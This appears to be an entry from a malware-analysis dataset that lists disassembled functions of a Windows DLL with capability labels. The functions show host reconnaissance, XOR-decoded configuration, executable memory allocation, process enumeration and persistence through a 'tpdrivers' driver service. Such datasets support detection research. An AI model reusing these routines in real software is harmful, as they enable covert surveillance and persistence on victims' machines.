joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100097da
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [esp + 0x50]
push 0x208
push ebx
push eax
mov dword [esp + 0x1c], ebx
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
mov eax, dword [eax]
mov dword [esp + 0x14], eax
call fcn.100030eb
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
mov edi, eax
push 0x1004f144
lea eax, [esp + 0x54]
push eax
call esi
push str._temp.key
lea eax, [esp + 0x54]
push eax
call esi
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x100098ca
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push 4
push 0x1000
push eax
push ebx
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x10009885
test esi, esi
je 0x1000987e
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, edi
jmp 0x10009946
push 0
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, dword [esp + 0xc]
lea ecx, [ebx + 2]
xor eax, eax
add edx, 0xfffffffe
je 0x100098af
xor byte [eax + ecx], 0x62
inc eax
cmp eax, edx
jb 0x100098a6
push edx
push ecx
push edi
call dword [edi + 0x14]
add esp, 0xc
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
test esi, esi
je 0x100098d1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x38
xor ebx, ebx
lea eax, [esp + 0x1c]
push ebx
push eax
call sub.ntdll.dll_memset
push edi
mov dword [esp + 0x5c], 0x2072024
mov dword [esp + 0x4c], 0xe000
call dword [edi + 0x18]
mov dword [esp + 0x50], eax
mov dword [esp + 0x58], ebx
call fcn.100030eb
mov esi, eax
lea eax, [esp + 0x28]
push 0x38
push eax
push esi
call dword [esi + 0x14]
push edi
call dword [edi + 0x18]
add esp, 0x20
push eax
push ebx
push edi
call dword [edi + 0x1c]
pop ecx
pop ecx
push eax
push esi
call dword [esi + 0x14]
push esi
call dword [esi + 0x18]
add esp, 0x10
push eax
push ebx
push esi
call dword [esi + 0x1c]
pop ecx
pop ecx
push eax
mov eax, dword [esp + 0x1c]
push eax
call dword [eax + 0x18]
add esp, 0xc
mov ecx, edi
call fcn.100031f9
mov ecx, esi
call fcn.100031f9
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10009abf
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
lea eax, [ebp - 0x100]
push esi
push edi
mov edi, 0x100
mov esi, ecx
push edi
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x100]
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x1004af30
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x10009bc6
Capabilities:
Get cpu information
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], 4
mov ebx, ecx
mov dword [ebp - 8], edi
call fcn.1000e110
xor edx, edx
lea ecx, [ebp - 4]
push ecx
inc edx
mov ecx, 0x101
test eax, eax
cmovne edx, ecx
push edx
push edi
push str.HARDWAREDESCRIPTIONSYSTEMCENTRALPROCESSOR0
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x10009c32
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push edi
push edi
push str.MHZ
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x10009c36
mov eax, esi
jmp 0x10009c61
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x30]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
push dword [ebp - 8]
push dword [ebp - 0x1c]
push str._d_dMHz
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10009c66
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebx, 0x100
push edi
push 4
push 0x1000
push ebx
push 0
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0x80
call esi
push 4
push 0x1000
push ebx
push 0
mov edi, eax
call esi
mov ebx, eax
test ebx, ebx
je 0x10009cee
test edi, edi
je 0x10009cee
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov edx, ebx
mov ecx, eax
call fcn.1000ea9d
push ebx
push edi
push str._U_:_s___P_:_s
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualFree]
add esp, 0x10
push 0x8000
push 0
push edi
call esi
push 0x8000
push 0
push ebx
call esi
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret
Function at 0x10009cf6
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov esi, ebx
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x10009dd4
lea eax, [ebp - 0x10]
push eax
push 0x10042630
push 1
push ebx
push 0x10042610
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x10009dd4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
push ebx
push edx
push 0x10042620
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10009dd4
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 0xc]
push edx
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10009dd0
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push edx
push 0x10042600
push ebx
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x24]
mov edi, eax
test edi, edi
js 0x10009db9
push 8
pop eax
mov word [ebp - 0x24], ax
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 8]
push ebx
push edx
push str.FriendlyName
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
mov edi, eax
test edi, edi
jne 0x10009db0
push dword [ebp - 0x1c]
inc esi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
test esi, esi
jg 0x10009dca
test edi, edi
je 0x10009d55
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, esi
jmp 0x10009dd6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10009ddb
Capabilities:
Get hostname
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
push edi
push 0x38
lea eax, [ebp - 0x40]
mov dword [ebp - 8], ecx
push 0
push eax
mov ebx, edx
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x40]
push 0x38
push eax
push ebx
call dword [ebx + 0x10]
add esp, 0xc
push 4
push 0x1000
push 0x734
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
test eax, eax
je 0x10009f96
push 0x10
pop ecx
mov edi, eax
mov esi, 0x1004ef10
rep movsd dword es:[edi], dword [esi]
lea edi, [eax + 0x40]
mov ecx, 0x80
mov esi, 0x1004ed10
rep movsd dword es:[edi], dword [esi]
mov edi, eax
lea ecx, [edi + 0x2a4]
call fcn.10009abf
mov ecx, dword [0x1004f384]
lea eax, [edi + 0x308]
cmp ecx, 1
jne 0x10009e65
push 0x1004aa6c
jmp 0x10009e75
test ecx, ecx
jne 0x10009e70
push 0x1004aa64
jmp 0x10009e75
push str.HTTP
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea ecx, [edi + 0x312]
call fcn.10009b21
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x32
push eax
lea eax, [edi + 0x3da]
push eax
call dword [sym.imp.KERNEL32.DLL_GetComputerNameW]
lea ecx, [edi + 0x43e]
call fcn.10009bc6
push 0x40
pop esi
push esi
lea eax, [ebp - 0x80]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x80], esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatusEx]
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x74]
shrd ecx, eax, 0x14
lea eax, [edi + 0x48e]
push ecx
push str._dMB
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [edi + 0x4de]
call fcn.10009c66
lea ecx, [edi + 0x6de]
call fcn.1000e90f
call fcn.10009cf6
push ebx
mov dword [edi + 0x730], eax
lea esi, [edi + 0x240]
call dword [ebx + 0x18]
pop ecx
lfence
cmp eax, 0x64
jbe 0x10009f21
push 0x64
jmp 0x10009f27
push ebx
call dword [ebx + 0x18]
pop ecx
push eax
push esi
push ebx
call dword [ebx + 0x10]
add esp, 0xc
mov ecx, ebx
call fcn.100031f9
xor ebx, ebx
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 0x734
mov dword [ebp - 0x10], ebx
call fcn.100030eb
mov esi, eax
lea eax, [ebp - 0x40]
push 0x38
push eax
push esi
call dword [esi + 0x14]
add esp, 0xc
push 0x734
push edi
push esi
call dword [esi + 0x14]
add esp, 0xc
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push esi
call dword [esi + 0x18]
pop ecx
push eax
push ebx
push esi
call dword [esi + 0x1c]
pop ecx
pop ecx
push eax
mov eax, dword [ebp - 8]
push eax
call dword [eax + 0x18]
add esp, 0xc
mov ecx, esi
call fcn.100031f9
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x1000ab48
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 0x410]
push ebx
push esi
push edi
mov edi, 0x208
xor ebx, ebx
push edi
push ebx
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x410]
add esp, 0xc
push str.tpdrivers
push eax
call esi
push edi
lea eax, [ebp - 0x208]
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea edx, [ebp - 0x208]
call fcn.1000e0f6
push str._system32drivers_tpdrivers.sys
lea eax, [ebp - 0x208]
push eax
call esi
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x1000abc5
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x1000ac22
push ebx
push ebx
push str.FltMgr
push ebx
push str.FSFilter_Activity_Monitor
lea eax, [ebp - 0x208]
push eax
push ebx
push 1
push 2
push 0xf01ff
lea eax, [ebp - 0x410]
push eax
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
jne 0x1000ac0b
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
call esi
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
jmp 0x1000ac22
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000d6bb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
push 4
push 0x1000
push 0x40
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x1000d78b
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x38]
push 0x38
push eax
push ebx
call dword [ebx + 0x10]
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x20]
mov dword [edi + 0x18], eax
mov dword [edi + 0x1c], ecx
call fcn.100030eb
mov esi, eax
push ebx
mov dword [edi + 4], esi
call dword [ebx + 0x18]
pop ecx
push eax
push 0
push ebx
call dword [ebx + 0x1c]
pop ecx
pop ecx
push eax
push dword [edi + 4]
call dword [esi + 0x14]
mov ecx, dword [0x1004f384]
add esp, 0xc
call fcn.10003833
xor esi, esi
mov dword [edi], eax
mov dword [edi + 8], esi
call fcn.1000b16d
push esi
push esi
push 1
push esi
mov dword [edi + 0xc], eax
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
mov dword [edi + 0x20], eax
mov dword [edi + 0x24], 0x1000cee6
mov dword [edi + 0x28], 0x1000cf6f
mov dword [edi + 0x2c], 0x1000cfc1
mov dword [edi + 0x34], 0x1000d22c
mov dword [edi + 0x38], 0x1000d441
mov dword [edi + 0x30], 0x1000d070
mov dword [edi + 0x3c], 0x1000d0e0
test ebx, ebx
je 0x1000d796
mov ecx, ebx
call fcn.100031f9
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000de8e
Capabilities:
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebx, ecx
push edi
push 4
mov edi, 0x3000
mov dword [0x1004f374], ebx
mov eax, dword [ebx]
push edi
push eax
push 0
mov dword [0x1004f39c], eax
call esi
mov dword [0x1004f398], eax
test eax, eax
je 0x1000dfc9
push dword [0x1004f39c]
lea ecx, [ebx + 4]
push ecx
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [0x1004f39c]
add esp, 0xc
mov eax, dword [eax + ebx + 4]
mov dword [0x1004f3b8], eax
test eax, eax
je 0x1000dfc9
push 4
push edi
push eax
push 0
call esi
mov dword [0x1004f3a4], eax
test eax, eax
je 0x1000dfc9
mov ecx, dword [0x1004f39c]
push dword [0x1004f3b8]
add ecx, 8
add ecx, ebx
push ecx
push eax
call sub.ntdll.dll_memcpy
mov ecx, dword [0x1004f39c]
mov edx, 0xa88
mov esi, dword [0x1004f3b8]
add ecx, 0xc
add esi, ecx
mov dword [0x1004f3b4], edx
add esi, ebx
mov ecx, 0x2a2
mov edi, 0x1004e8e0
add esp, 0xc
rep movsd dword es:[edi], dword [esi]
xor eax, eax
xor byte [eax + 0x1004e8e0], 0x3a
inc eax
cmp eax, edx
jl 0x1000df4e
mov edi, 0xc8
lea eax, [ebp - 0xc8]
push edi
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc8]
mov esi, 0x1004f144
push 0x64
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
push edi
push 0
push esi
call sub.ntdll.dll_memset
add esp, 0xc
lea esi, [ebp - 0xc8]
mov edi, 0x1004f144
push 0x32
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x1004f3b8]
add ecx, dword [0x1004f3b4]
add ecx, dword [0x1004f39c]
mov eax, dword [ecx + ebx + 0xc]
mov dword [0x1004f3b0], eax
lea eax, [ecx + 0x10]
mov dword [0x1004f378], eax
xor eax, eax
jmp 0x1000dfcc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000dfd1
Capabilities:
Delete file
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov ecx, 0x2a2
xor eax, eax
push ebx
push esi
push edi
mov ebx, edx
mov edi, 0x1004e8e0
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov esi, 0xa88
xor byte [eax + ebx], 0x3a
inc eax
cmp eax, esi
jl 0x1000dff4
push 0x208
lea eax, [ebp - 0x208]
push 0
push eax
call sub.ntdll.dll_memset
push str.install.cfg
push 0x1004f144
lea eax, [ebp - 0x208]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea eax, [ebp - 0x208]
add esp, 0x1c
push 2
push eax
call edi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
push esi
mov edx, ebx
lea ecx, [ebp - 0x208]
call fcn.1000e070
pop ecx
mov esi, eax
lea eax, [ebp - 0x208]
push 7
push eax
call edi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1000e070
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000e09f
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x1000e0d7
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x1000e0ca
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
test esi, esi
je 0x1000e0c6
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
jmp 0x1000e0d7
test esi, esi
je 0x1000e0d5
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000e759
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
xor edi, edi
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], edi
push eax
push 1
push edi
push edi
mov esi, ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov ebx, edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], edi
call dword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsW]
test eax, eax
je 0x1000e887
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x10], ebx
jbe 0x1000e87c
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push 5
push dword [edi + eax]
push 0
call dword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
test eax, eax
je 0x1000e869
mov eax, dword [ebp - 8]
mov ecx, 0x1004ab48
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1000e7eb
test dx, dx
je 0x1000e7e7
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1000e7eb
add eax, 4
add ecx, 4
test dx, dx
jne 0x1000e7c5
xor eax, eax
jmp 0x1000e7f0
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000e819
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push 4
lea eax, [eax*2 + 2]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push esi
call dword [esi + 0x14]
push dword [ebp - 4]
push dword [ebp - 8]
jmp 0x1000e840
push str.system
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push 4
lea eax, [eax*2 + 2]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push esi
call dword [esi + 0x14]
push dword [ebp - 4]
push str.system
push esi
call dword [esi + 0x14]
mov eax, dword [ebp - 0xc]
add esp, 0x18
add ebx, dword [ebp - 4]
add eax, edi
and dword [ebp - 4], 0
push 4
push eax
push esi
call dword [esi + 0x14]
add esp, 0xc
add ebx, 8
push dword [ebp - 8]
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov eax, dword [ebp - 0x14]
add edi, 0xc
inc eax
mov dword [ebp - 0x14], eax
cmp eax, dword [ebp - 0x10]
jb 0x1000e79d
push dword [ebp - 0xc]
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000e90f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
push ebx
push esi
push edi
push 0x208
xor esi, esi
mov dword [ebp - 8], ecx
lea eax, [ebp - 0x260]
push esi
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 4], esi
xorps xmm0, xmm0
lea edx, [ebp - 0x260]
movlpd qword [ebp - 0x10], xmm0
call fcn.1000e0f6
test eax, eax
jne 0x1000e95b
push 0x43
pop eax
mov word [ebp - 0x260], ax
jmp 0x1000e962
mov ax, word [ebp - 0x260]
push 0x3a
mov word [ebp - 0x18], ax
pop eax
push 0x5c
mov word [ebp - 0x16], ax
pop eax
push esi
push esi
mov word [ebp - 0x14], ax
xor eax, eax
push esi
push esi
mov word [ebp - 0x12], ax
lea eax, [ebp - 4]
push eax
push esi
push esi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationW]
imul eax, dword [ebp - 4], 0x14a30b
mov edx, 0x69427551
push 8
pop ecx
sub eax, edx
mov dword [ebp - 0x28], eax
imul eax, eax, 0x14a30b
sub eax, edx
mov word [ebp - 0x22], ax
imul eax, eax, 0x14a30b
sub eax, edx
mov byte [ebp + esi - 0x20], al
inc esi
cmp esi, ecx
jl 0x1000e9ae
mov dword [ebp - 4], eax
lea edi, [ebp - 0x58]
xor eax, eax
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x38]
xor ecx, ecx
stosd dword es:[edi], eax
push ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
inc eax
lea edi, [ebp - 0x38]
cpuid
mov esi, ebx
pop ebx
mov dword [edi], eax
lea eax, [ebp - 0x58]
mov dword [edi + 4], esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov edi, str._08X
push dword [ebp - 0x2c]
push edi
push eax
call esi
push dword [ebp - 0x38]
lea eax, [ebp - 0x50]
push edi
push eax
call esi
lea eax, [ebp - 0x58]
push eax
movzx eax, word [ebp - 0x22]
push eax
push dword [ebp - 0x28]
push str._X_X_hs
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x2c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000ea9d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
lea eax, [ebp - 0x228]
push ebx
push esi
push edi
push 0x228
push 0
push eax
mov edi, edx
mov esi, ecx
call sub.ntdll.dll_memset
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000eb22
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x22c], 0x22c
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
jmp 0x1000eb04
cmp dword [ebp - 0x224], esi
je 0x1000eb0a
lea eax, [ebp - 0x22c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x1000eaee
jmp 0x1000eb17
mov ecx, 0x82
lea esi, [ebp - 0x208]
rep movsd dword es:[edi], dword [esi]
test ebx, ebx
je 0x1000eb22
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x1000eb29
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push 0
push 2
mov ebx, ecx
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x22c], 0x22c
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
jmp 0x1000eb7c
lea eax, [ebp - 0x208]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x1000eb84
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x1000eb5c
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 0x224]
jmp 0x1000eb80

Function at 0x1000eb8c
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push esi
push edi
push 0
mov ebx, ecx
mov esi, edx
push 2
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x1000ec01
lea eax, [ebp - 0x20c]
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
jmp 0x1000ebe1
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 4]
call ebx
test eax, eax
jne 0x1000ebef
cmp esi, dword [ebp - 0x218]
je 0x1000ec08
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x1000ebd7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 0x228]
jmp 0x1000ec03

Function at 0x1000ec10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push esi
push edi
push 0
push 2
mov esi, ecx
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x22c], 0x22c
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
jmp 0x1000ec59
cmp dword [ebp - 0x224], esi
je 0x1000ec61
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x1000ec43
pop edi
pop esi
leave
ret
mov eax, dword [ebp - 0x214]
jmp 0x1000ec5d